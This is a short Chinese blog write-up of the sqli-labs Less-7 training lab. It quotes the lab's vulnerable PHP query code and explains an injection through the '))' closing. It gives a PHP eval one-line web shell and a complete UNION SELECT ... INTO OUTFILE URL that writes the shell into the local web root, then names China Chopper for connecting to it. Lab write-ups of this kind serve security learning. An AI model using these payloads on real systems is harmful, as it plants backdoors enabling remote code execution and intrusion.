SQL注入:sqli-labs 7 文件上传漏洞

  • 经过不断的测试,知道:sql 语句是:SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1(或者你直接代码审计(看答案))
  • 项目提示;You are in… Use outfile…,提示我们使用外部文件,所以这十有八九是一个文件上传漏洞,那如何上传?上传什么文件比较好?
  • 通过代码审计我们知道,这玩意永远都不会报错,因为被注释了:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	//print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
  • 使用命令:into outfile 可以上传文件

  • 使用一句话木马:https://blog.csdn.net/ZripenYe/article/details/119189996新建一个木马文件,使用php为后缀。<?php @eval($_POST['password']);?>

  • 上传文件之前一定要检查自己my.ini配置文件中的secure-file-priv是否是等号后面没有数值,否则上传不了数据

  • 输入命令:http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,"<?php @eval($_REQUEST[777]); ?>",3 into outfile "D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\2.php" --++++++将文件上传到目录

  • 之后用中国菜刀等工具来访问页面(详情见博客)https://blog.csdn.net/ZripenYe/article/details/119189996

  • 另外,读取文件的操作是load_file() 函数

posted @ 2021-08-12 17:16  Zeker62  阅读(157)  评论(0编辑  收藏  举报